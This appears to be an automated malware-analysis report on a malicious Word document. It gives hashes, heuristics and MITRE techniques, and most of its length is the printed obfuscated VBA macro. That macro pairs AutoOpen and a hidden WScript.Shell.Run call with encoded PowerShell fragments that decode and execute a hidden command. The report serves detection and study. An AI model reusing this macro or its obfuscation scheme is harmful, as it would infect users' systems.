Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa4e95bf9afe6a6f…

MALICIOUS

Office (OLE)

168.0 KB Created: 2018-03-14 19:03:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 6ed6c21bb94979f700036607ddf836a9 SHA-1: f034b76cec8856205c19ddbba4665245d034ef06 SHA-256: aa4e95bf9afe6a6f4f6494c9adfed2c5cbb8cf7361ed4420a4b84c51951d2156
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Critical heuristics indicate the use of WScript.Shell and Shell() calls, suggesting the macro attempts to execute commands. The obfuscated script likely downloads and executes a second-stage payload, which is a common technique for malware delivery.

Heuristics 9

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run GDwMLX + aPjAIMOMA + wKqvOUdEwznck + lnsbuchhGsY, vbHide
Select Case zqzddz
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run GDwMLX + aPjAIMOMA + wKqvOUdEwznck + lnsbuchhGsY, vbHide
Select Case zqzddz
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 172,032 bytes but its declared streams total only 52,062 bytes — 119,970 bytes (70%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56500 bytes
SHA-256: e40c89828a087f3b5ded1d109d6d743440ba625961fc8e9d8ae448bc523f94cd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
440 of 739 identifiers look randomly generated (e.g. 'D9Vh3AQMAIDAmBwMAIDAkBgMAMGAyAgYAIDAmBAO') — consistent with name-mangling obfuscation. Carved artifact contains 16 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oHFEvbikB"
Function zpripnwkZCZkaw()
On Error Resume Next
Select Case vmABTU
         Case 89392
            YhnqZ = Fix(83234)
            JBsaA = Int(1608)
         Case 50828
            ISovmC = KiNDz
            wCCjFd = ChrW(IwiZW)
      End Select
YhZXVz = lqIzH + biRkHz("nj%5n1GiB7aI3AwYAUGAlBQNAQDA3AQMAgDA2AQOAUDAkBAZAEGAiBQYAUGAyAgYAADA3AAZAUGAmBAZAEDAlBgZAUDA4AwMAMDAlBAMAQDAlBQZAQDAkBAZAQGAyAQZAkDAkBwNAYDAmBAMAUDAwAANAQDA4AgZAEGA0AQNAkDAxAANAEDAiBgZAUGA3AwYAUGAxAgNAkDA5jUSK", 5, 193)
Select Case vmABTU
         Case 89392
            YhnqZ = Fix(83234)
            JBsaA = Int(1608)
         Case 50828
            ISovmC = KiNDz
            wCCjFd = ChrW(IwiZW)
      End Select
Select Case NAzHdm
         Case 17942
            VRsDG = Fix(15705)
            VTFKwl = Int(96691)
         Case 57869
            SCTDt = jvkjVK
            OdFfO = ChrW(ZGjEuh)
      End Select
zEAYNY = LopMFaV + biRkHz("mQAwMAQGAiBAZAEGAxAQZAQGAyAgYAQGA2AQOAgDA2AAMAUDAyAQYAYDAyAQOAQDAyAwNAUGA1AAZAMDAyAwNAcDA1AANAMDAiBwYAIDKJmiiaaiw", 10, 102)
Select Case NAzHdm
         Case 17942
            VRsDG = Fix(15705)
            VTFKwl = Int(96691)
         Case 57869
            SCTDt = jvkjVK
            OdFfO = ChrW(ZGjEuh)
      End Select
Select Case lJzUit
         Case 33619
            lOXfF = Fix(98470)
            rQECc = Int(26594)
         Case 30455
            ZzzLOi = HZIAV
            jHjNi = ChrW(PbAXt)
      End Select
TBZtBztkhh = qfMaK + biRkHz("<wMv6ir45Ivj$bt$cAYNs.zQi1V2T@9i7$m ) ) ) ))131,821,831,63,142,62,442,17,78,641,14,131,632,17,552,822,37,84,64,041,841,802,59,552,012,041,86,73,461,632,112,3  YEk- gnIRtsErUCeS-OTTrEvNoC |'==AAkw4(", 5, 158)
Select Case lJzUit
         Case 33619
            lOXfF = Fix(98470)
            rQECc = Int(26594)
         Case 30455
            ZzzLOi = HZIAV
            jHjNi = ChrW(PbAXt)
      End Select
Select Case idWEpK
         Case 2228
            YrsMLE = Fix(27607)
            TaavVz = Int(55701)
         Case 11358
            pQhDOZ = mJKwOO
            BVQFv = ChrW(fKqip)
      End Select
pWdSF = rAUzlu + biRkHz("<$Q(K1d5zbk_CVsr@IGAiBgYAUDAlBAMAADAjBwYAIDA2AQZAEDA5AQYAEDAhBgMAUGA2AQZAUDAyAQMAUDAiBwMAQGAmBgYAYDAwAQZAADA0AQNAEwwhm", 5, 97)
Select Case idWEpK
         Case 2228
            YrsMLE = Fix(27607)
            TaavVz = Int(55701)
         Case 11358
            pQhDOZ = mJKwOO
            BVQFv = ChrW(fKqip)
      End Select
Select Case OkXDA
         Case 90194
            ibOXIM = Fix(18646)
            orbiVA = Int(94903)
         Case 76882
            mrFbTw = SULaBU
            cuGGq = ChrW(mEkYsb)
      End Select
rfRrrBB = wvRIfAQ + biRkHz("skEFEiYSMGAlBgZAcDAkBgZAIDA1AwYAUGA4AgNAkDA1AQOAgDA3AQYAIDA4AAMAkDA3AQNAcDAhBgZAkDA3AgYAEGAlBANAADAxAgYAUGAiPG02", 6, 99)
Select Case OkXDA
         Case 90194
            ibOXIM = Fix(18646)
            orbiVA = Int(94903)
         Case 76882
            mrFbTw = SULaBU
            cuGGq = ChrW(mEkYsb)
      End Select
Select Case rXiwX
         Case 11752
            jvslDp = Fix(42843)
            ofkzG = Int(70102)
         Case 18376
            jjDlrn = KqwAYn
            RDjcAS = ChrW(wWDJOn)
      End Select
FpfipRL = zfKIRw + biRkHz("j5!QWE_8GAUGA0AQMAEGA1AgMAEDAiBAMAYDAjBAZAUGAlBQYAUGAlBAMAUGAyAgNAIDAjBgYAMDA3AgMAYDAhBQZAQGAyAAMAUGAyAwYAIDA4AgNAgDA2AgMAEGA5AgNAUDA2AwMAYDAKJ", 3, 132)
Select Case rXiwX
         Case 11752
            jvslDp = Fix(42843)
            ofkzG = Int(70102)
         Case 18376
            jjDlrn = KqwAYn
            RDjcAS = ChrW(wWDJOn)
      End Select
Select Case jsHwdt
         Case 97575
            qrCmPt = Fix(31853)
            FcrCQ = Int(7943)
         Case 38318
            BnOTPP = wiuZrO
            EkhiU = ChrW(ZPiThC)
      End Select
AGIlpX = nlIpifz + biRkHz("hEuqE hA4GAVBwVAEFA8BgM5435a05061b3143240f3476111d29467'($(iSNACoLLAlaBOlgOtgNirTseRuCEs::]LAhSRAm.SeCiVreSpOREtni.EMItNuR[(eKOVNi.)EMAn.]1[)(SREbmEmTeg.]lAHsRam.SeCIvrespOREtnI.eMITnUR[(::]lahSrH[E(zw0b2n", 11, 188)
Select Case jsHwdt
         Case 97575
            qrCmPt = Fix(31853)
            FcrCQ = Int(7943)
         Case 38318
            BnOTPP = wiuZrO
            EkhiU = ChrW(ZPiThC)
      End Select
Select Case mqfuP
         Case 65261
            oYKJaf = Fix(76174)
            YiJKfZ = Int(32979)
         Case 88772
            NibOth = VLTzn
            iJBwX = ChrW(BtpZfi)
      End Select
thLfHDQXIz = cUYMf + biRkHz("F59wwSkwMAEGA1AwNAADA4AAOAcDA2AwMAcDAiBQZAUGA0AwMAMGAjBwNAYDA5AwNAMDAiBmGZPSwraVrYh_Gko$vt!hFik9zkzV", 30, 64)
Select Case mqfuP
         Case 65261
            oYKJaf = Fix(76174)
            YiJKfZ = Int(32979)
         Case 88772
            NibOth = VLTzn
            iJBwX = ChrW(BtpZfi)
      End Select
Select Case SNdjdh
         Case 46158
            NqjVpU = Fix(39711)
            jjTMz = Int(25005)
         Case 38933
            uoHLh = lVFAK
            jwHcwA = ChrW(HdqRj)
      End Select
OrVIPdZNrWP = iFDXu + biRkHz("3jhjENE_LNYDAyAQMAUGAjBgZAADA0AAZAgDA4AQMAYGAjBQYAUGAiBwYAQGAwAQMAUGA3AQMAIGAiBQMAUGA5AQZAEGA5AgYAUGAhBQNAgDAwAQNAMDA0AAOAki(IiwoM_h", 10, 113)
Select Case SNdjdh
         Case 46158
            NqjVpU = Fix(39711)
            jjTMz = Int(25005)
         Case 38933
            uoHLh = lVFAK
            jwHcwA = ChrW(HdqRj)
      End Select
Select Case wvQYZ
         Case 22976
            BUCzhP = Fix(35954)
            jNfIJz = Int(12801)
         Case 55634
            rXDLr = bjNYC
            iZhZP = ChrW(jrPfm)
      End Select
sCrsw = zVSZwvF + biRkHz("%uwC!m!a7nmzp3j<7AkrrAgNAUDA1AANAcDA3AAMAkDAwAQOAEGA4AQYAkDAwAAOAgDAkBQMAIDA3AQZAEDA3AAOAIDAkBQMAYDAmBQNAcDAlBgYAQGAwAgYAIDAiBgZAYGAzAwYAQGA2AQMAgDAxAgYAcDA0AQMAUGA1AgMAUGAhBAOAcDA3AwYAgDAkBQMAQDA5AwYAQDAwAQN)ja7E_6.ifma!ZE", 16, 187)
Select Case wvQYZ
         Case 22976
            BUCzhP = Fix(35954)
            jNfIJz = Int(12801)
         Case 55634
            rXDLr = bjNYC
            iZhZP = ChrW(jrPfm)
      End Select
Select Case JiJPZv
         Case 16538
            YlHHbC = Fix(8899)
            knWJd = Int(41004)
         Case 15719
            OsBSj = fGNoCD
            NbMvw = ChrW(MjChK)
      End Select
BTjPM = LLuFLN + biRkHz("mW]$DA]UVjNh$IV7fEbaDliO!F SGjjahSwMAQDAhBQZAEGAiBwMAEGA4AAZAQDAyAgMAYGAxAAMAADA0AANAYGAyAwYAYGAkBAMAMDAzAQYAMGA3AwMAUGAiBANAYDAyAwNAQGAwAQMAUDA1AgMAcDA1AQMAgDAyAAZAYDAhBwMAUDAjBgZAYDA5AAOAgDAzAgMAkDA5AAMAQDAxAQYAUGA!SO.", 5, 182)
Select Case JiJPZv
         Case 16538
            YlHHbC = Fix(8899)
            knWJd = Int(41004)
         Case 15719
            OsBSj = fGNoCD
            NbMvw = ChrW(MjChK)
      End Select
Select Case ckOsw
         Case 21082
            hdAVOv = Fix(68121)
            ROnHo = Int(85088)
         Case 86626
            qMiscK = qapRmD
            kXDXQW = ChrW(wvNvd)
      End Select
DOjCTazmaj = YUqujzo + biRkHz("ksvjIUdkAANAYDA3AwMAMGAjBQMAQGA1AAMAkDA2AwYAIDA2AwMAgDAiBAOAkDAwAgYAEGA3AAMAYDAwAAMAcDA0AwNAMGAiBAOAUDA5AQOAIDAwAwYAADA0[qzXFpKisWNB(ftm91<E_", 22, 112)
Select Case ckOsw
         Case 21082
            hdAVOv = Fix(68121)
            ROnHo = Int(85088)
         Case 86626
            qMiscK = qapRmD
            kXDXQW = ChrW(wvNvd)
      End Select
Select Case IcWpSc
         Case 85597
            rDrStu = Fix(98580)
            PhZTQ = Int(45243)
         Case 85115
            ikwcTq = mzQEcF
            SmKFq = ChrW(dlrfv)
      End Select
kmPnuwzvX = VStiPj + biRkHz("vqcVIKh4YV2rl(DA5AgNAcDAhBwYAcDAwAAOAMGAzAAMAEGAxAQZAQDAiBQZAIDAkBwYAIDAiBwNAIGA4AAOAYDA2AQZAMGA1AwNAIDA3AAZAcDA0AQZAUDAmBwMAQDA0AgYAUGAlBgZAMDAyAwNAUGA5AAZAcDAmBQMAADA2AwYAEDA0AwYAkDAr%fc22waCs4LPbvc!", 18, 170)
Select Case IcWpSc
         Case 85597
            rDrStu = Fix(98580)
            PhZTQ = Int(45243)
         Case 85115
            ikwcTq = mzQEcF
            SmKFq = ChrW(dlrfv)
      End Select
Select Case BHFNm
         Case 3239
            Xzcnck = Fix(23629)
            TzrtfW = Int(93461)
         Case 42763
            wziHft = kwfGo
            rupMO = ChrW(bpGbu)
      End Select
RSYNm = DQGCil + biRkHz("QT2aZKQ.uMDA3AANAUDA1AAOAUDAlBQMAMDAzAwNAMDAxAQZAYGA2AQNAUDAiBAZAcDA0AQYAYGAyAwYAIDA4AQZAIDAhBQOAEGA4AwMAMGAwDsnkvaVvtHZwvjpacjniwVNcm", 27, 99)
Select Case BHFNm
         Case 3239
            Xzcnck = Fix(23629)
            TzrtfW = Int(93461)
         Case 42763
            wziHft = kwfGo
            rupMO = ChrW(bpGbu)
      End Select
Select Case iMBLzU
         Case 19305
            JCGKL = Fix(58989)
            QBdwC = Int(63619)
         Case 13264
            BoujQ = Kruzs
            Sqbbl = ChrW(kYrBNC)
      End Select
wpwiUnjviVm = Gluhrh + biRkHz(".52kN0.K3zrNsaVDMEwKnSDA3AQYAUGAwAQMAUDAwAgMAADA0AwMAMDAzAwYAEGAlBQOAUDA0AgMAUGAkBwNAUGAiBANAYGAjBAOAUDA3AQOAkDAiBwYAYDA4AAOAYGA2AQNAMGAyAgNAADAzAwMAIGAkBAZAYGAmBgMAEGAyAAMAMGAzAQMAADAhBwNAcDAkBgNAUGAkBAZANswihUi.r", 10, 183)
Select Case iMBLzU
         Case 19305
            JCGKL = Fix(58989)
            QBdwC = Int(63619)
         Case 13264
            BoujQ = Kruzs
            Sqbbl = ChrW(kYrBNC)
      End Select
Select Case XUmil
         Case 33914
            KtuzoM = Fix(29650)
            awCYdE = Int(98505)
         Case 23745
            czMzfh = hzjvmz
            dKscjF = ChrW(XESlpF)
      End Select
ivQLWMTq = KAiwX + biRkHz("JcbHa!tiBfkviN1G[1.JjzA1AwMAYGAhBwYAEGA2AgYAUGA5AwMAIDAyAANAIDAiBQYAEGAjBQZAUDAiBAZAIDAiBAOAYcfw$X<w", 8, 71)
Select Case XUmil
         Case 33914
            KtuzoM = Fix(29650)
            awCYdE = Int(98505)
         Case 23745
            czMzfh = hzjvmz
            dKscjF = ChrW(XESlpF)
      End Select
Select Case fwwGQi
         Case 97495
            zdIqB = Fix(32194)
            ujJKYU = Int(29465)
         Case 43211
            JfqrTS = ZCiaW
            CwmAV = ChrW(KEsLRr)
      End Select
RMPsfi = kqNXIr + biRkHz("AOi%Fmmi!@kIV1rsFKiqNNi_s%uWj4AwYAgDA!juso6", 7, 8)
Select Case fwwGQi
         Case 97495
            zdIqB = Fix(32194)
            ujJKYU = Int(29465)
         Case 43211
            JfqrTS = ZCiaW
            CwmAV = ChrW(KEsLRr)
      End Select
Select Case EEORCc
         Case 47735
            slboUU = Fix(74846)
            EMJCY = Int(32981)
         Case 41221
            OVWDBF = hdNiz
            XosXFm = ChrW(YOsuW)
      End Select
ZDGLOi = zjpFN + biRkHz("BzQ.Y)kBgYAYGAiBgNAIDA5AQOAYGAzAwMAEDAkBQNAEGAxAQOAcDA2AgMAkDAhBgMAADAwAQOAADA3AAMAQGA5AAZAEGAzAAZAMGAmBQNAkDAyAQYAUGAiBAOAYDA1AwYAADAzAgYAIDA5AgNAYDA5AgYAQDAjBQOAgDAjBwNS!vfMIA9wNVkiw.m", 17, 164)
Select Case EEORCc
         Case 47735
            slboUU = Fix(74846)
            EMJCY = Int(32981)
         Case 41221
            OVWDBF = hdNiz
            XosXFm = ChrW(YOsuW)
      End Select
Select Case sKpDVG
         Case 80909
            EwbthV = Fix(59603)
            wCXthU = Int(11091)
         Case 25792
            HMmjwF = FzllXR
            OsAUBY = ChrW(CipkG)
      End Select
RifiitTV = VwNZBmi + biRkHz("%vXjA(3q2D8(nOsmPm70wA1AANAEGAkBQYAIGAxAQOAQDAlBwYAMDAlBANAUGAxAAMAMGAlBwMAIGA5AwYAADA1AgYAQDAhBQMAkDAzAQZAEGA4AwMAEDAyAgYAUGA3AQYAkDA0AQZAQGAjBAOAMDA5AANAYDAlBgMAQGA1AAOAjN<KtrK", 8, 150)
Select Case sKpDVG
         Case 80909
            EwbthV = Fix(59603)
            wCXthU = Int(11091)
         Case 25792
            HMmjwF = FzllXR
            OsAUBY = ChrW(CipkG)
      End Select
Select Case iswmcn
         Case 92038
            ZPrqEP = Fix(43766)
            nZPtoF = Int(29274)
         Case 57576
            oRiLZ = AbEljL
            Aluftj = ChrW(aMkwp)
      End Select
GjZcaMRXKz = NOwXEcO + biRkHz("[[1NjQRSnjzh.QU$wMAEGA2AgYAgDAzAANAgDAlBQYAMGAzAQYAkDAwAgMAgDA1AgMAMGAkBAZAEGAmBgMAkDAiBQZAMDAyAwMAMDA4AgYAIGAjBQMAYDAlBwMAIDA1AQZAUGAzAANAYDAyAAZAgDA2AgYAQGA$w@ES", 6, 142)
Select Case iswmcn
         Case 92038
            ZPrqEP = Fix(43766)
            nZPtoF = Int(29274)
         Case 57576
            oRiLZ = AbEljL
            Aluftj = ChrW(aMkwp)
      End Select
Select Case CshEcN
         Case 20197
            ZVaEMd = Fix(20281)
            kjTkHn = Int(64764)
         Case 90901
            ANcpH = aLZLz
            AihkjI = ChrW(DIbzp)
      End Select
aJwzJAjCQZ = AjLmd + biRkHz("Vt9(cDA1AAOAUDAkBAZAIDAkBAMAcDAmBgMAADA4AAMAYDAzAAMAIGAlBAZAcDAiBgMAF4.0PvAjApQ[Y_o2NjF6oM72(Kw7j@4Pi@", 35, 64)
Select Case CshEcN
         Case 20197
            ZVaEMd = Fix(20281)
            kjTkHn = Int(64764)
         Case 90901
            ANcpH = aLZLz
            AihkjI = ChrW(DIbzp)
      End Select
Select Case NJJFd
         Case 86388
            hEGPM = Fix(67064)
            jlSZq = Int(23047)
         Case 16027
            nGniim = rzmNoz
            IucOW = ChrW(tpihG)
      End Select
cmcFKCILmws = onnAhP + biRkHz("JN3USBQN(xAQYAMGAjBAZAIDAwAgYAUDA1AANAIDA1AAMAUGA4AQOAcDAmBQOAIDAlBANAMDAkBgNAEDAhBwYAUDA3AANAMGAyAANAADAxAAOAcDAyAgZAEDAiBwYAIDA5AgMAQDAmBgMAEDAmBAZAADAjBgZAUGAwAQOAUDA5AgYAkDA5!J)Ejs$5QqSQ.1FiUBoFmjj5rlZ<", 29, 169)
Select Case NJJFd
         Case 86388
            hEGPM = Fix(67064)
            jlSZq = Int(23047)
         Case 16027
            nGniim = rzmNoz
            IucOW = ChrW(tpihG)
      End Select
Select Case LWFls
         Case 31748
            aqDUL = Fix(93110)
            wdUGzq = Int(49831)
         Case 13782
            bwslLR = HhJjzw
            mzbmG = ChrW(OJCtp)
      End Select
cQNRVFXDbP = Urchzw + biRkHz("!lajwsz$MEiam.SecIVreSpOrETnI.EmiTnUr[ ((xeiD", 2, 33)
Select Case LWFls
         Case 31748
            aqDUL = Fix(93110)
            wdUGzq = Int(49831)
         Case 13782
            bwslLR = HhJjzw
            mzbmG = ChrW(OJCtp)
      End Select
Select Case jzHdKF
         Case 34614
            JLPRt = Fix(35440)
            tTOLG = Int(7484)
         Case 21584
            TOshX = MTpZO
            YnvtH = ChrW(MoPtwh)
      End Select
wWBvMG = tzpYr + biRkHz("@AA.zF.Xh.T6AEDAhBQZAUDAmBgMAUGAiBAZAEGAhBQNAEGAlBANAIGAzAgYAMDAlBQNAEDAlBAOAUDAiBQNAEGAjBgYAIGA0AQMAEGAxAAZAkDAjBgMAgDAjBgMAIDAzAAOAIGAzAAOAMDjm(", 4, 131)
Select Case jzHdKF
         Case 34614
            JLPRt = Fix(35440)
            tTOLG = Int(7484)
         Case 21584
            TOshX = MTpZO
            YnvtH = ChrW(MoPtwh)
      End Select
Select Case SLWbt
         Case 67655
            WiXjU = Fix(13874)
            uLHlk = Int(26380)
         Case 52180
            daJAzp = rtdFQW
            aqbiC = ChrW(lsRoc)
      End Select
CCUAYfPOY = iOkOiPi + biRkHz("rAv%H<%BBFl.hfjRhZ(A0AAOAcDAyAQOAEDAwAQOAMGA5AAOAIDAmBANAQGA4AAMAMDAyAQMAMGA1AAMAEGA2AwNAMDAmBAOAYGAzAwYAUDA0AAOAgDAyAwYAYDAlBwMAYDAkBwMAEDA0AAMAMGA2AQMAMGAwAwNAADAxAwNAUDAmBAOAQGA3AgNAkDA0AQMAMDAzH$D", 5, 177)
Select Case SLWbt
         Case 67655
            WiXjU = Fix(13874)
            uLHlk = Int(26380)
         Case 52180
            daJAzp = rtdFQW
            aqbiC = ChrW(lsRoc)
      End Select
Select Case MLtzE
         Case 92748
            CzGaG = Fix(1347)
            cuNvV = Int(50776)
         Case 89335
            lwNiwn = pcdrR
            YjEKNw = ChrW(tjkEOs)
      End Select
EWYZB = zpZsLjk + biRkHz("hN4auWN%GE)m<@J_or9GAlBwNAEGA5AAMAUGAxAwMAUGA4AQMAkDAxAgZAQGA2AgMAYDAwAANAIDAjBAMAgDAwAgZAgDAyAgZAIDAzAAMAIDA5AQYAMDAzAANAEDAhBgZAcDAxAQZAkDA3AgMAcDAmBANAMGAkBgNAIDAyAQYAMGAxAgYAADA0AgYAcDA4AAZAADAiBQZAQGAjBgMA3d4tmzss", 9, 191)
Select Case MLtzE
         Case 92748
            CzGaG = Fix(1347)
            cuNvV = Int(50776)
         Case 89335
            lwNiwn = pcdrR
            YjEKNw = ChrW(tjkEOs)
      End Select
Select Case XzwjZS
         Case 62383
            HAEbT = Fix(18566)
            YACbL = Int(32879)
         Case 47388
            rwLphX = qpEbG
            bOiKjF = ChrW(iKjizj)
      End Select
PFzJcE = nwqIKdX + biRkHz(".DS41vqbVZAEDA5AAMAMWw0$i", 6, 11)
Select Case XzwjZS
         Case 62383
            HAEbT = Fix(18566)
            YACbL = Int(32879)
         Case 47388
            rwLphX = qpEbG
            bOiKjF = ChrW(iKjizj)
      End Select
Select Case ohEVc
         Case 70690
            swzzY = Fix(89883)
            hCZPP = Int(2444)
         Case 58160
            NwBDXu = RaGWK
            kjtWC = ChrW(NXmumZ)
      End Select
LBqRWJFQMz = HTpQYzE + biRkHz("QN0QZAIDAkBgNAYDAxAgZAcDA2AwYAIGA4AAZAADA0AAOAYGAmBgZAkDA4AQMAUDAjBgZAcDAmBgMAUGAiBwYAQGA3AANAUGAyAQYAUDA3AAZAYGA3AQMAYDAjBgYAYDAxAAMAQGAkBgYAUDA1AAOAQDfFjjipiAn24vDO1oG5W.KjHSN", 26, 149)
Select Case ohEVc
         Case 70690
            swzzY = Fix(89883)
            hCZPP = Int(2444)
         Case 58160
            NwBDXu = RaGWK
            kjtWC = ChrW(NXmumZ)
      End Select
Select Case fRtOu
         Case 92841
            kYzrjt = Fix(46971)
            HCUcVD = Int(55909)
         Case 76508
            sYuVM = YlnRaK
            IozuY = ChrW(zRhIm)
      End Select
MjmpUYZUuk = pjpLi + biRkHz("MAIVmmdfMiw8Cfj(09vflYciiBANAcDAzAwMAADAkBQNAkDA3AQMAgDA0AQYAgDAhBwYAADAlBgMAUGAmBwNAADA3AQYAgDAkBgZAEDA5AAMAUDAzAgNAADA1AgZAQDAkBAZAUDAlBAOAUGA4AgZAQDAlBA_Tw", 5, 130)
Select Case fRtOu
         Case 92841
            kYzrjt = Fix(46971)
            HCUcVD = Int(55909)
         Case 76508
            sYuVM = YlnRaK
            IozuY = ChrW(zRhIm)
      End Select
Select Case XShrTm
         Case 47944
            nrctcj = Fix(97378)
            DKQKOo = Int(388)
         Case 9300
            dXbWBu = ZrnKS
            fLkjtH = ChrW(EwktM)
      End Select
pCZujVl = pYtww + biRkHz("$4RC#wd3i[(i5O.4r]2MaTxAAOAIGAhBgYAYDAwAAMAIGA2AQMAcDA3AgNAQGAyAwNAQGA4AQMAh7v(mta@!j)r", 13, 53)
Select Case XShrTm
         Case 47944
            nrctcj = Fix(97378)
            DKQKOo = Int(388)
         Case 9300
            dXbWBu = ZrnKS
            fLkjtH = ChrW(EwktM)
      End Select
Select Case PPAmVd
         Case 58506
            AlopTw = Fix(3866)
            dbjTmM = Int(61350)
         Case 99738
            CEEih = wdDmad
            wSpYJK = ChrW(aGWXua)
      End Select
rJVvaViNdC = QnPTiSd + biRkHz("oSvp.DA5AwMAkDA0Twj.8qP)X[jRF.jjT(GW$", 22, 11)
Select Case PPAmVd
         Case 58506
            AlopTw = Fix(3866)
            dbjTmM = Int(61350)
         Case 99738
            CEEih = wdDmad
            wSpYJK = ChrW(aGWXua)
      End Select
Select Case vMjzX
         Case 84680
            aYljRZ = Fix(97334)
            nkcpB = Int(80446)
         Case 2580
            wilGik = qkfzj
            XdcCYX = ChrW(LpZfk)
      End Select
NDKhh = HRBDk + biRkHz(" 1iiAlBwNAQDA1AQYAADA5AgYAEGAhBwYAcDA5AAMAUDA4AgZAEGA0AQNAkYi50[", 7, 54)
Select Case vMjzX
         Case 84680
            aYljRZ = Fix(97334)
            nkcpB = Int(80446)
         Case 2580
            wilGik = qkfzj
            XdcCYX = ChrW(LpZfk)
      End Select
Select Case tzsYm
         Case 56303
            vRalhz = Fix(25337)
            MpJGWj = Int(95376)
         Case 80074
            OWvRp = jKKWiT
            vFLiWY = ChrW(jqFwAO)
      End Select
iKGHYMoBI = soAvY + biRkHz("w3YMbtTNaVwN3AwYAYGAyAgZAgDAyAQNAcDAkBgZAMGAzAANAQGAkBAMAIGN", 2, 47)
Select Case tzsYm
         Case 56303
            vRalhz = Fix(25337)
            MpJGWj = Int(95376)
         Case 80074
            OWvRp = jKKWiT
            vFLiWY = ChrW(jqFwAO)
      End Select
Select Case Qdlwwc
         Case 94196
            IiaUEM = Fix(92907)
            fKdQl = Int(27905)
         Case 36846
            nILzfR = InHsv
            VOYwpK = ChrW(qFarr)
      End Select
dGLtRuPrwFG = owWfwH + biRkHz("DAYsZcCMp!MA(YqplT_RMAgMAUGA3AwYAUGA0AgYAEDA4AQYAMGAyAwNAADAjBANAIDA0AwNAEGAkBAOAUGAhBQNAEDAjBwMAYGAyAQNAMDAhBgZAUDAlBQMAUDAiBwMAYDAwAijUjM%i(M0$19zVs[", 18, 113)
Select Case Qdlwwc
         Case 94196
            IiaUEM = Fix(92907)
            fKdQl = Int(27905)
         Case 36846
            nILzfR = InHsv
            VOYwpK = ChrW(qFarr)
      End Select
Select Case UbcDW
         Case 29286
            LpOjl = Fix(6977)
            zItaFa = Int(34569)
         Case 2558
            vkIwW = hHlzFn
            JiOBj = ChrW(PVmJL)
      End Select
HRvVmQXIdNZ = dsDpO + biRkHz("uB@D9Vh3AQMAIDAmBwMAIDAkBgMAMGAyAgYAIDAmBAOAIGAjBAMAcDAzAAZAMGAyAgYAIGAhBgMAADAzAQNAMGA3AAMAADA1AAOAgDAwAgZAcDAhBANAADA4AwNAYGA1AwNAwHA9AQPAEEAvBgWAkEA4BAMAIGAaBAeAwGApBgbAsCAjBQcAwEAiBgbR[GWvcOib$p", 12, 180)
Select Case UbcDW
         Case 29286
            LpOjl = Fix(6977)
            zItaFa = Int(34569)
         Case 2558
            vkIwW = hHlzFn
            JiOBj = ChrW(PVmJL)
      End Select
Select Case rziBpd
         Case 5323
            ksZji = Fix(92229)
            wmjwd = Int(15726)
         Case 57108
            CftcNz = PGiDq
            Aazvd = ChrW(UiKUNi)
      End Select
nVcsnhnzlPL = htwmsQk + biRkHz("7GD_4mtXOzZf7jivQqNUQiDJfzTmEGAjBANAADAyAQZAQGAyAgZAYDA0AwMAEDAjBgMAIDA3AQYAUDAlBgMAADA3AgMAIGAkBgMAIDA1AQOAcDA4AgZAgDA1AAZAYDAmBANAIDA4AQNAIGA2AQMAIGA2AgNAQGA0AAZAQGA1AgYAgDA2AwNAEDAyAAOAIGAwAAOAEGA1AgMAMGAkBgMAUGAjBAHBA9hfkJP4", 11, 190)
Select Case rziBpd
         Case 5323
            ksZji = Fix(92229)
            wmjwd = Int(15726)
         Case 57108
            CftcNz = PGiDq
            Aazvd = ChrW(UiKUNi)
      End Select
Select Case DsWVKG
         Case 35762
            TFPJr = Fix(24472)
            MBTtz = Int(34671)
         Case 57293
            wDDzO = UsZkW
            DrTFcW = ChrW(jIIGl)
      End Select
sWlACYiRV = btBrpb + biRkHz("bzNwibBE_jSS(QMAMGAwAAOAQDAxAgMAgDAxAANAYDAmBAOAIDAmBAZAIDAxAgYAMDAyAAMAMDAhBwNAIGAiBQOAYGA1AQMAYDAiBwNAQDA2AQNAEDAmBQOAUGAzAgNAMGA5AwYAMGAkBgMAUDA3AgNAEGAwAAMAADAiBQYAADAwAwMAcDAhBQYAMGAwAgMAMGA2AdGN(9", 6, 184)
Select Case DsWVKG
         Case 35762
            TFPJr = Fix(24472)
            MBTtz = Int(34671)
         Case 57293
            wDDzO = UsZkW
            DrTFcW = ChrW(jIIGl)
      End Select
Select Case NRYGdS
         Case 65148
            fcUfb = Fix(604)
            fuGtDb = Int(25097)
         Case 72748
            cqZwRB = qhcqLB
            TqQii = ChrW(nMlMn)
      End Select
